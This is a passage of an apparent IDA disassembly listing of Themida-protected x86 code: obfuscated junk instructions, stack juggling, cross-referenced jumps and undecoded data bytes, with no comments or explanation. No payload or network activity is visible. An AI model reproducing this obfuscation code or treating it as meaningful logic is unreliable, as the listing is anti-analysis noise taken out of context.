		jmp	loc_54E993
; ---------------------------------------------------------------------------
		dd 52241C8Bh, 0C281E289h, 4, 8704C283h,	665C2414h, 592CE952h
		dd 0EC83FFFFh, 241C8904h, 5B241CF6h, 0FFA7E2E9h, 0D3BD55FFh
		dd 1103F04h, 2434FFEAh,	83242C8Bh, 0C48104C4h, 4, 0FF5563E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551991:				; CODE XREF: Themida_:0054D743j
		sub	esi, 4
		push	esi
		jmp	loc_54FBED
; ---------------------------------------------------------------------------

loc_55199D:				; CODE XREF: Themida_:00550910j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_5518D9
; ---------------------------------------------------------------------------
		db 52h,	0B2h, 31h
		dd 28B1F280h, 566FE9D3h, 8966FFFFh, 2DE92404h
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5519C7:				; CODE XREF: Themida_:0055052Bj
		mov	[esp], eax
		mov	eax, 7AAB159Ah
		mov	ebp, 85D4EA66h
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_54A11D
; ---------------------------------------------------------------------------

loc_5519E7:				; CODE XREF: Themida_:0054D9C9j
		pop	esp
		sub	bl, 45h
		push	eax
		mov	al, 7Ah
		sub	al, 3Ah
		xor	al, 67h
		add	bl, al
		pop	eax
		add	bl, al
		jmp	loc_54ABEB
; ---------------------------------------------------------------------------
		dd 2B850h, 0C5010000h, 242C8758h, 0D224248Bh, 0E99C240Ch
		dd 0FFFF54E0h, 4C5835Bh, 0E9242C87h, 0FFFFD2FAh
; ---------------------------------------------------------------------------

loc_551A20:				; CODE XREF: Themida_:0054DACCj
		mov	[esp], ebx
		push	edi
		jmp	loc_548FE7
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0FFE4C0E9h, 4C483FFh, 57E08950h, 4C6150BFh, 53DFF774h
		dd 0BBh, 89FB2900h, 47475BDFh, 5204E7C1h, 0C61524BAh, 9247E944h
		dd 22B0FFFFh, 0E9517D24h, 0FFFF7527h
; ---------------------------------------------------------------------------

loc_551A64:				; CODE XREF: Themida_:005509D9j
		jmp	loc_546EF4
; ---------------------------------------------------------------------------
		db 66h,	8Fh, 4
		dd 0E9316624h, 0FF7DA7E9h, 79F268FFh, 4890000h,	52E08924h
		dd 0FF8534E9h, 0C8B66FFh, 0F786824h, 3C890000h,	81E78924h
		dd 4C7h, 4EC8100h, 89000000h, 0E9512434h, 0FFFF7AB7h, 0FC48E950h
		dd 525FFFFFh, 5F0B06BAh, 4AD2F757h, 0F4FCF281h,	0EB81A8A0h
		dd 4A0B3EF2h, 0C381D301h, 4A0B3EF2h, 8324148Bh,	1C8704C4h
		dd 24248B24h, 51C8AF0Fh, 5412E99Ch, 1487FFFFh, 24248B24h
		dd 242CD366h, 5402E99Ch, 8B66FFFFh, 8956240Ch, 0C1BB53E6h
		dd 81592B3Dh, 0A8368FF3h, 2E3C169h, 0FDF38143h,	43158312h
		dd 0BE565052h, 7E9F553Bh, 17CC48B8h, 5EF029CDh,	0D553002Dh
		dd 8E0C102h, 93D3F793h,	4CC30548h, 81507AB3h, 2F632434h
		dd 0E95A67CDh, 0FFFF9AADh, 0CF885358h, 0FFF830E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551B49:				; CODE XREF: Themida_:0054D4E8j
		dec	esi
		xor	esi, 43F9788Fh
		sub	ecx, esi
		pop	esi
		push	dword ptr [ecx]
		sub	dword ptr [esp], 3466471Ch
		jmp	loc_550CBA
; ---------------------------------------------------------------------------

loc_551B61:				; CODE XREF: Themida_:0054E3C8j
		mov	eax, [esp]
		jmp	loc_54B858
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0AEh
		dd 83248A10h, 36E901C5h, 0ACFFFFCEh, 58E9D830h,	5FFFFBEh
		dd 2, 8B240487h, 0EC812424h, 4,	68241489h, 0CFh, 0B7241C89h
		dd 2EC814Bh, 66000000h,	0B2241489h, 0E9D720BCh,	0FFFFECE8h
		dd 7A75B951h, 0C1813FC1h, 0DDF0FED6h, 0FF7AA2E9h, 4C481FFh
		dd 83000000h, 148702EAh, 24248B24h, 240C8966h, 0FFE599E9h
		dd 241489FFh, 0FBD68h, 0B81EE900h, 895CFFFFh, 5A542414h
		dd 0FFB794E9h, 0E6E954FFh, 50FFFF86h, 0EF5799B8h, 0B9BD5566h
		dd 2151EB13h, 0E8C15DE8h, 45DB2503h, 0E8D109A8h, 0A9A0548h
		dd 0ED811D6Dh, 1D3C352Fh, 0C581C501h, 1D3C352Fh, 41F58158h
		dd 31006F96h, 0B5E95DE9h, 0FFFFFF5Ah, 68582434h, 518Dh
		dd 68241C89h, 42B5h, 81242489h,	42404h,	1C8B0000h, 4C48324h
		dd 23F168h, 24048900h, 8416EBB8h, 733257Eh, 0E8C10C43h
		dd 48D0F708h, 1170CC2Dh, 28BD554Ch, 29B3E28Fh, 0C3015DE8h
		dd 0FFE0FBE9h, 57565EFFh, 13316668h, 243C8B68h,	4704C483h
		dd 0A6EF8147h, 5052A3FAh, 0C689F889h, 3A8E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_551CA2:				; CODE XREF: Themida_:0054A1E9j
		push	1124h
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_54E5AB
; ---------------------------------------------------------------------------
		dw 6655h
		dd 66683DBDh, 23C2F581h, 0BEF58166h, 0CC95E907h, 0E0B8FFFFh
		dd 50501602h, 70242C81h, 5A148D13h, 1370C281h, 3158148Dh
		dd 31D531EAh, 9284E9EAh, 1E9FFFFh, 58FFFF52h, 0AAF3CA05h
		dd 58C78913h, 815FFA89h, 0FB693AC2h, 0EBC6E96Eh, 8952FFFFh
		dd 4C281E2h, 81000000h,	4C2h, 0BB0E900h, 0DAF70000h, 0EC83DAF7h
		dd 241C8904h, 0FF5D7EE9h, 81D5F7FFh, 7721CEDh, 5DE829B4h
		dd 0FF6E3BE9h, 66D000FFh, 66E42C5Ah, 0B2525351h, 0F6B652F8h
		dd 305AF788h, 567AE9D7h, 0F329FFFFh, 0FF5F39E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551D5D:				; CODE XREF: Themida_:0054F05Bj
		push	eax
		jmp	loc_5499DF
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF518Ch
; ---------------------------------------------------------------------------

loc_551D68:				; CODE XREF: Themida_:0054D7E1j
		mov	edx, 27AC62CFh
		add	edx, 3D5A682Fh
		xor	edx, 6B32E83h
		sub	edx, 1
		shl	edx, 8
		sub	edx, 5CCD1FCDh
		add	edx, 0A6E8A3D1h
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54D919
; ---------------------------------------------------------------------------

loc_551DA8:				; CODE XREF: Themida_:0054D969j
		push	2E27h
		mov	[esp], eax
		mov	eax, 57823351h
		sub	eax, 3386419Ch
		jmp	loc_549115
; ---------------------------------------------------------------------------
		db 2Dh
		dd 621482FCh, 0E958C101h, 0FFFFC97Eh, 6C780B0Dh, 0A912E932h
		dd 3568FFFFh, 89000012h, 0EC83241Ch, 48F5404h, 4BD5524h
		dd 1000000h, 5D04246Ch,	43E9515Bh, 8BFFFF6Eh, 4292424h
		dd 0F1E99C24h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551E03:				; CODE XREF: Themida_:0054FE69j
		push	ax
		mov	ah, 0A5h
		sub	bl, ah
		mov	ax, [esp]
		add	esp, 2
		add	bl, al
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 0A5h
		sub	bl, 0BDh
		add	bl, ah
		push	4437h
		mov	[esp], eax
		jmp	loc_5517B9
; ---------------------------------------------------------------------------

loc_551E2C:				; CODE XREF: Themida_:0054D048j
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		jmp	loc_54E836
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 41h
		dd 167CF3Fh, 2434FFD8h,	0FFB204E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551E49:				; CODE XREF: Themida_:0054DC64j
		pop	esi
		sub	edx, 457325D1h
		jmp	loc_551F1F
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 16E9008Fh, 0FFFFFF8Ah, 53592434h, 0FF7A34E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551E69:				; CODE XREF: Themida_:00547CA8j
		xor	eax, ecx
		xchg	eax, edx
		push	edx
		xchg	ebp, [esp]
		push	3819h
		mov	[esp], ebp
		jmp	loc_54E739
; ---------------------------------------------------------------------------
		db 66h,	8Fh, 2
		dd 0FF506FE9h, 243C8BFFh, 81E28952h, 4C2h, 4C28300h, 0FF9600E9h
		dd 0D831ADFFh, 6F6DBD55h, 0F58156A4h, 41781E8Dh, 1FFDBA52h
		dd 0D2F770F0h, 747BF57h, 0F78143A4h, 4B168D9h, 15FFA29h
		dd 0AE0FE9D0h, 0FD2DFFFFh, 81E0137Fh, 4F5F19C6h, 81C60146h
		dd 4F5F19EEh, 0E9515846h, 0FFFF902Dh, 0C1E9452Ch, 81FFFFBFh
		dd 4C4h, 2BF5700h, 1000000h, 243C8BFBh,	81E68956h, 4C6h
		dd 4BA5200h, 1000000h, 34875AD6h, 1C875C24h, 24248B24h
		dd 0F66E1F6h, 0C9E9CCB6h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551F1F:				; CODE XREF: Themida_:00551E50j
		sub	edx, esi
		jmp	loc_54AB27
; ---------------------------------------------------------------------------
		dw 0F301h
		dd 0FF5D3CE9h, 0F4EA80FFh, 0FFCBFAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551F35:				; CODE XREF: Themida_:0054AE14j
		pop	edx
		jmp	loc_548F7F
; ---------------------------------------------------------------------------
		db 29h
		dd 27E95BD8h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------

loc_551F43:				; CODE XREF: Themida_:0054C973j
		push	ebx
		mov	ebx, 656B2021h
		not	ebx
		xor	ebx, 39B60F45h
		jmp	loc_54D767
; ---------------------------------------------------------------------------
		dw 0B6BEh
		dd 29515268h, 0EA015EF2h, 0FFEAEAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551F65:				; CODE XREF: Themida_:0054A805j
		mov	[esp], ebx
		push	ecx
		mov	ecx, 5A745B36h
		xor	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edi
		mov	edi, 5A745B36h
		jmp	loc_550718
; ---------------------------------------------------------------------------
		dd 805AD100h, 0C680E5C6h, 80CE00B9h, 0EE80B9EEh, 240C8BE5h
		dd 0E904C483h, 0FFFFE7E1h, 4EC81ADh, 89000000h,	57BF243Ch
		dd 0E913365Ah, 0FFFF8E19h, 0E9E68956h, 0FFFFBEF5h
; ---------------------------------------------------------------------------

loc_551FC8:				; CODE XREF: Themida_:0054E9BEj
		xor	edx, 68464947h
		dec	edx
		not	edx
		jmp	loc_54C09B
; ---------------------------------------------------------------------------
		dw 5BDh
		dd 51088D15h, 0FFDAD5E9h, 13840FFFh, 55FFFF78h,	0F87CB4BDh
		dd 0A8D1E930h, 0C781FFFFh, 68E89523h, 15FF929h,	0F767E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552002:				; CODE XREF: Themida_:005513C4j
		pop	edx
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		jmp	loc_54A7F7
; ---------------------------------------------------------------------------

loc_552010:				; CODE XREF: Themida_:00548EB3j
		xor	ebp, 0D06A02DCh
		jmp	loc_54B86E
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF2414h, 8F5A0424h, 0A8E92404h, 5AFFFFE7h,	6F98CF81h
		dd 0DFF775D7h, 8103EFC1h, 0FA4101C7h, 0FCF7810Dh, 172B866h
		dd 5A45E9F8h, 0F75FFFFFh, 0FDE950DEh, 87FFFF6Bh, 95C243Ch
		dd 0E99C2404h, 0FFFF4E94h, 3035FF05h, 5C7E955h,	0E95F0000h
		dd 0FFFFD871h, 4C181h, 0C1810000h, 4, 8B240C87h, 48B2424h
		dd 0EC835324h, 56F5E904h, 0F028FFFFh, 0E9A22C5Ah, 0FFFFF01Eh
		dd 8304C483h, 2C8904ECh, 0AACEE924h, 0EFD0FFFFh, 804CF780h
		dd 78E917EFh, 5CFFFF86h, 8904EC83h, 5D54242Ch, 4C581h
		dd 0C5810000h, 4, 31242C33h, 2C33242Ch,	24248B24h, 8B68F9F7h
		dd 0E9000074h, 0FFFF95A9h, 2D30FEB8h, 72D02D6Eh, 0D0F7486Dh
		dd 0E8C1D8F7h, 5054E907h, 0BF57FFFFh, 4, 3C8BF801h, 4C48324h
		dd 0E904C083h, 0FFFFD342h, 8B243433h, 34892424h, 815E5424h
		dd 4C6h, 17E95300h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552123:				; CODE XREF: Themida_:00547311j
		or	eax, 7C80230Fh
		jmp	loc_547C7A
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 27h
		dd 0E9FFFFF9h, 0FFFF4DBCh
; ---------------------------------------------------------------------------

loc_552138:				; CODE XREF: Themida_:00551139j
		pop	ecx
		sub	esp, 2
		mov	[esp], cx
		mov	cl, 0A8h
		sub	dh, cl
		pop	cx
		xor	al, dh
		mov	edx, [esp]
		push	34F8h
		mov	[esp], edx
		jmp	loc_54D677
; ---------------------------------------------------------------------------
		db 2Dh
		dd 313364C1h, 6A3DEF81h, 0C7012A63h, 6A3DC781h,	52582A63h
		dd 4BAh, 0ED3DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55217A:				; CODE XREF: Themida_:0054734Dj
		mov	ecx, [esp]
		add	esp, 4
		pop	edx
		sub	esp, 4
		jmp	loc_54C01A
; ---------------------------------------------------------------------------
		dd 24248B66h, 0FF4D5FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552195:				; CODE XREF: Themida_:00552A4Cj
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 5B5D74D7h
		sub	ebp, 34281AB6h
		jmp	loc_54EBD2
; ---------------------------------------------------------------------------
		db 53h
		dd 88C18851h, 0DA8859CBh, 81FFE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5521BE:				; CODE XREF: Themida_:0054ADB4j
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_551312
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0DBh
		dd 0B8FFFF7Ah, 47AA2C1Bh, 0FFCC58E9h, 4EB83FFh,	0C664E953h
		dd 74FFFFFFh, 8F5D0424h, 8FE92404h
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5521EF:				; CODE XREF: Themida_:0054820Ej
		pop	esi
		add	eax, 1BF16FC3h
		add	eax, edx
		jmp	loc_54B77E
; ---------------------------------------------------------------------------
		dd 4C481h, 0EB830000h, 241C8704h, 0E924248Bh, 0FFFFEA92h
; ---------------------------------------------------------------------------

loc_552210:				; CODE XREF: Themida_:0054F266j
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, 1A2D54D8h
		jmp	loc_54ED38
; ---------------------------------------------------------------------------

loc_552227:				; CODE XREF: Themida_:00549AEFj
		neg	edx
		xchg	eax, edx
		xchg	eax, ecx
		jmp	loc_551018
; ---------------------------------------------------------------------------

loc_552230:				; CODE XREF: Themida_:00549898j
		push	eax
		push	ebx
		push	51FE12B8h
		pop	ebx
		jmp	loc_551727
; ---------------------------------------------------------------------------
		db 4Ah,	81h, 0EAh
		dd 0E72D327Bh, 0EEBD5550h, 89709E2Ah, 0CB2DE9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552252:				; CODE XREF: Themida_:00547209j
		mov	esp, [esp]
		jmp	loc_547C4A
; ---------------------------------------------------------------------------

loc_55225A:				; CODE XREF: Themida_:00548322j
		sub	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		pop	ecx
		push	ebx
		push	7F9810BFh
		pop	ebx
		inc	ebx
		not	ebx
		push	ebx
		not	dword ptr [esp]
		jmp	loc_54C8D1
; ---------------------------------------------------------------------------

loc_552278:				; CODE XREF: Themida_:0054C7AFj
		add	esp, 4
		add	esp, 4
		shr	ecx, 6
		push	ebx
		mov	eax, [esp]
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	ebx
		sub	esp, 4
		mov	[esp], edi
		push	33A82AF6h
		pop	edi
		jmp	loc_552BE2
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 574369C5h, 1F61E681h, 0C6817549h, 5DC27B6Dh,	27DEBB53h
		dd 0E38130B4h, 29434DBCh, 592E381h, 4B4B7AF3h, 4F10CB81h
		dd 0F38175FFh, 0C02233A7h, 15BDE01h, 762D5EF0h,	816D63E4h
		dd 0CF56C6C6h, 0E9C6015Fh, 0FFFF9F4Ch, 8006EBC0h, 87E9FFEBh
		dd 29FFFF84h, 1EF81C7h,	0E9742B1Fh, 0FFFFEC57h,	0DDE9028Fh
		dd 88FFFF4Bh, 5AD388EAh, 0C0C3FE59h, 0EC8302E3h, 0C896602h
		dd 8DB4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55232E:				; CODE XREF: Themida_:0054A492j
		push	edx
		jmp	loc_547AA1
; ---------------------------------------------------------------------------
		dd 9692E950h, 0C681FFFFh, 136C6AC1h, 0FF59F3E9h, 0C8B54FFh
		dd 4C48124h, 0E9000000h, 0FFFFF815h
; ---------------------------------------------------------------------------

loc_552354:				; CODE XREF: Themida_:005524CAj
		add	ecx, edx
		jmp	loc_5478B8
; ---------------------------------------------------------------------------
		db 5
		dd 4, 5A3A68h, 243C8900h, 6CE9E789h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55236F:				; CODE XREF: Themida_:0054DD14j
		mov	[esp], edx
		mov	edx, 1
		push	edi
		mov	edi, 23085F6Eh
		push	eax
		jmp	loc_54BDD2
; ---------------------------------------------------------------------------
		db 87h
		dd 85C2414h, 0E99C2404h, 0FFFF4B64h, 58C2895Eh,	15AD589h
		dd 0C335DE9h, 240C3124h, 0FF6884E9h, 49E95AFFh
		db 4Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5523AB:				; CODE XREF: Themida_:0054A47Bj
		sub	ebp, 18F97AB1h
		inc	ebp
		jmp	loc_54B749
; ---------------------------------------------------------------------------
		db 89h
		dd 9ABD242Ch, 81192972h, 1EDh, 0CDE58100h, 816A1801h, 8008BF5h
		dd 0B9BF5708h, 816BAD4Ch, 927E8FF7h, 0EF814733h, 1013DC64h
		dd 815FFA01h, 356207EAh, 81EA015Dh, 356207C2h, 0D3EA815Dh
		dd 8B482B55h, 0C481242Ch, 4, 25E568h, 0FC0DE900h, 59FFFFh
		dd 4EC81E8h, 89000000h,	0EC81240Ch, 4, 0FF97FEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552425:				; CODE XREF: Themida_:00548237j
		pop	ebx
		pop	ebp
		jmp	loc_54C7E5
; ---------------------------------------------------------------------------

loc_55242C:				; CODE XREF: Themida_:0054ECAFj
		mov	[esp], ecx
		mov	ecx, 713C9A5Bh
		push	esi
		mov	esi, 58C3E3Dh
		jmp	loc_54FFA0
; ---------------------------------------------------------------------------
		db 89h
		dd 0E589242Ch, 67C8E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55244A:				; CODE XREF: Themida_:0054939Aj
		mov	[esp], esi
		jmp	loc_548D67
; ---------------------------------------------------------------------------
		dw 0D329h
		dd 0FF739FE9h, 5E981FFh, 29CAC7FFh, 0D70559C8h,	2500956Dh
		dd 6E8736F3h, 0E906E0C1h, 0FFFF4EF7h, 0E9240C89h, 0FFFFFEC9h
		dd 0C10DE60Dh, 7627E901h, 0D4F6FFFFh, 0FF5501E9h, 62C581FFh
		dd 597B6E08h, 3304C583h, 2C31242Ch, 242C3324h, 240CFF5Ch
		dd 4A4AE99Ch, 0A9B8FFFFh, 2D0FC262h, 3EB64759h,	142F4D2Dh
		dd 295B051Ch, 0D0F767FDh, 0FFCE17E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5524C5:				; CODE XREF: Themida_:00549C56j
		mov	ecx, 0
		jmp	loc_552354
; ---------------------------------------------------------------------------
		db 35h
		dd 600504C1h, 3F05BB53h, 68E96034h, 59FFFF5Fh, 74306853h
		dd 4890000h, 7713E924h,	0F281FFFFh, 30DB0005h, 8B5AD529h
		dd 0C4832434h, 2C58304h, 8904EC83h, 74FF242Ch, 8F5D0424h
		dd 248B2404h, 2424D224h, 0CB9BE99Ch, 0F381FFFFh, 5A7D081Fh
		dd 4060F381h, 0F3811731h, 17472A4Ch, 0E95BD889h, 0FFFF791Eh
; ---------------------------------------------------------------------------

loc_552534:				; CODE XREF: Themida_:0054F8CEj
		pop	esp
		jmp	loc_54CCC3
; ---------------------------------------------------------------------------
		dw 0B5E9h
		dd 1FFFF49h, 0ACED81F5h, 5E71BB16h, 5C242C87h, 240C8B66h
		dd 0E904EC83h, 0FFFFF681h, 592434FFh, 0FF4E75E9h, 54C281FFh
		dd 0E95CB03Ch, 0FFFF9B77h, 94242C81h, 0E9094C56h, 0FFFF497Ch
; ---------------------------------------------------------------------------

loc_552578:				; CODE XREF: Themida_:0054C655j
		mov	[edi+20h], ecx
		pop	ecx
		jmp	loc_548894
; ---------------------------------------------------------------------------

loc_552581:				; CODE XREF: Themida_:005499DAj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_54FCF0
; ---------------------------------------------------------------------------

loc_552595:				; CODE XREF: Themida_:0054A30Ej
		xor	eax, 0CCACA8FBh
		jmp	loc_54F39F
; ---------------------------------------------------------------------------
		db 1
		dd 13E958C3h, 1FFFF83h,	0BD555EF7h, 1A8F5B74h, 81D5F745h
		dd 70A488EDh, 0E9EF01E5h, 0FFFF6036h, 3104C483h, 31FE31F7h
		dd 0DFDFE9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5525CE:				; CODE XREF: Themida_:005488ECj
		add	edi, 69834A0Dh
		jmp	loc_5495B0
; ---------------------------------------------------------------------------

loc_5525D9:				; CODE XREF: Themida_:00549412j
		add	ecx, 630B4BADh
		add	ecx, 4BD21A7Eh
		add	ecx, edi
		sub	ecx, 4BD21A7Eh
		jmp	loc_54DA1E
; ---------------------------------------------------------------------------

loc_5525F2:				; CODE XREF: Themida_:0054B03Bj
		sub	esi, 662D42D6h
		jmp	loc_54D4E2
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 1000000h, 2434FFE9h,	4C4835Dh, 2C181h, 0C870000h, 0E55FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55261A:				; CODE XREF: Themida_:0054B1A4j
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		push	1507390Ah
		push	dword ptr [esp]
		jmp	loc_54C52F
; ---------------------------------------------------------------------------
		db 0D1h, 0E0h, 5
		dd 1F363DFBh, 0AB990535h, 0E9C7013Bh, 0FFFF6AC8h, 81242C8Bh
		dd 4C4h, 8BDE0100h, 0C483241Ch,	2CE66804h, 3C890000h, 2BF24h
		dd 0FE010000h, 83243C8Bh, 348704C4h, 0B08BE924h, 0FCBFFFFFh
		dd 89000003h, 5EE95FF8h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55267F:				; CODE XREF: Themida_:005506E2j
		add	edx, edi
		pop	edi
		xor	edx, 64540C22h
		and	ecx, edx
		mov	edx, [esp]
		jmp	loc_548D8D
; ---------------------------------------------------------------------------
		dw 30ACh
		dd 4D1768D8h, 1C890000h, 0B7B55124h, 0C007E5C0h, 0D5F606EDh
		dd 0E950D5F6h, 0FFFFE186h, 8B24048Fh, 39E92424h, 5DFFFF48h
		dd 8B24048Fh, 0C3E92424h, 66FFFF5Bh, 0EB81665Bh, 48E94C41h
		dd 0FFFFFFCAh, 0C8B2434h, 0D1C4E924h, 875CFFFFh, 0FF5C243Ch
		dd 48B2434h, 4C48324h, 8904EC83h, 0E589242Ch, 0C449E952h
		dd 0E952FFFFh, 0FFFFAABCh, 4C681h, 21E90000h, 0DFFFF7Fh
		dd 1C286AE4h, 0AFE9D0F7h, 5FFFFFF7h, 5C240487h,	24048966h
		dd 0FF47CFE9h, 4C181FFh, 81000000h, 4C1h, 240C8700h, 7BB9515Ch
		dd 8155DA13h, 542D2AF1h, 0CBC18117h, 1E4B1FFh, 0B4E959C8h
		dd 5EFFFFA3h, 4EC81h, 4890000h,	7425E924h, 0C89FFFFh, 562BB924h
		dd 0F1815CFFh, 5CFF562Fh, 1310BF57h, 0DFF7645Bh, 0E7C1E7D1h
		dd 81D7F702h, 60AB12C7h, 8BFD2951h, 5457243Ch, 4C7815Fh
		dd 81000000h, 4C7h, 243C8700h, 81CD015Ch, 394391C5h, 0C5815974h
		dd 2, 8C16E955h, 0BB53FFFFh, 2E840866h,	255BD801h, 75D52D96h
		dd 0FF5922E9h, 15B850FFh, 0C1209964h, 0E94004E0h, 0FFFFD87Eh
		dd 8324048Bh, 895004C4h, 0F918E9E0h, 0D528FFFFh, 0E9EB005Ah
		dd 0FFFFC445h, 51D831ADh, 0A0786AB9h, 6CEBE95Dh, 0C181FFFFh
		dd 4, 6DFFE953h, 0DC2DFFFFh, 896AC8D9h,	62AEE9C5h, 0C129FFFFh
		dd 0FF4D7EE9h, 3C875EFFh, 24248B24h, 240CD366h,	46CEE99Ch
		dd 3C89FFFFh, 65ECBF24h, 0D8E947B2h, 87FFFF92h,	53E92434h
		dd 81FFFFEDh, 0D441D1C6h, 81DE2964h, 0D441D1EEh, 0D75CE964h
		dd 3C89FFFFh, 41FBF24h,	0F74F22F8h, 73E94FD7h, 8BFFFF83h
		dd 16E92424h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552867:				; CODE XREF: Themida_:0054C6CEj
		mov	edx, ecx
		push	dword ptr [esp]
		jmp	loc_54EBC8
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 50242C89h, 173286B8h, 3282353Fh, 0C5893F17h,	582434FFh
		dd 2904C483h, 2434FFEFh, 4C4815Dh, 87000000h, 0E95C243Ch
		dd 0FFFFAF97h
; ---------------------------------------------------------------------------

loc_5528A0:				; CODE XREF: Themida_:0054F35Cj
		push	edi
		push	3DC11978h
		pop	edi
		mov	ebp, 3DC11977h
		jmp	loc_54B579
; ---------------------------------------------------------------------------

loc_5528B1:				; CODE XREF: Themida_:0054C8DBj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_54DF11
; ---------------------------------------------------------------------------
		dd 54241489h, 4B9515Ah,	1000000h, 6808E9CAh, 1487FFFFh
		dd 0EE815C24h, 4FA26261h, 0C681D601h, 4FA26261h, 768EC681h
		dd 335A3AB8h, 34312434h, 24343324h, 6824248Bh, 0EBFh, 0FF9545E9h
		dd 3DE950FFh, 81FFFF71h, 9B3BA4EFh, 5FF801D5h, 0FFDF2CE9h
		dd 0B55153FFh, 0FCE9524Fh, 31FFFFF9h, 8FE92414h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552923:				; CODE XREF: Themida_:0054E1B1j
		push	dword ptr [esp]
		jmp	loc_550C60
; ---------------------------------------------------------------------------
		db 8Fh
		dd 315C2404h, 0E99C2404h, 0FFFF45BCh, 8904EC83h, 0E954243Ch
		dd 0FFFFA6A5h, 83320BB9h, 0C3FBE931h, 0F581FFFFh, 4DA171BBh
		dd 0FFE158E9h, 0ADBD55FFh, 0E903091Dh, 0FFFF75F2h, 4C381h
		dd 0EC810000h, 4, 0FF241C89h, 8B042474h, 0C481241Ch, 4
		dd 8B24048Fh, 0EC812424h, 4, 89240C89h,	50BD55E1h, 8131B061h
		dd 5720CFCDh, 0DBF58118h, 139F761h, 0E9815DE9h,	4, 0FF5CD0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5529B1:				; CODE XREF: Themida_:0054FDBEj
		pop	dword ptr [esp]
		jmp	loc_54F89A
; ---------------------------------------------------------------------------

loc_5529B9:				; CODE XREF: Themida_:00547340j
		movzx	eax, al
		mov	dx, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		jmp	loc_54C7B4
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 0FFFFE22Fh
; ---------------------------------------------------------------------------

loc_5529E4:				; CODE XREF: Themida_:005475BBj
		xor	eax, 3DD83FDCh
		sub	eax, 29DC0229h
		add	eax, 0D9F9B607h
		jmp	loc_54AE5C
; ---------------------------------------------------------------------------

loc_5529F8:				; CODE XREF: Themida_:00548117j
		sub	ebp, 678C0DAAh
		xor	ebp, 7CDF56D4h
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, eax
		pop	eax
		sub	ebx, 9DE6AA01h
		mov	eax, ebx
		pop	ebx
		sub	ebx, eax
		pop	eax
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_54A819
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D259669Dh, 0E99C2414h, 0FFFF44C0h
; ---------------------------------------------------------------------------

loc_552A34:				; CODE XREF: Themida_:005483EEj
		push	ecx
		jmp	loc_54C39B
; ---------------------------------------------------------------------------

loc_552A3A:				; CODE XREF: Themida_:0054EEA5j
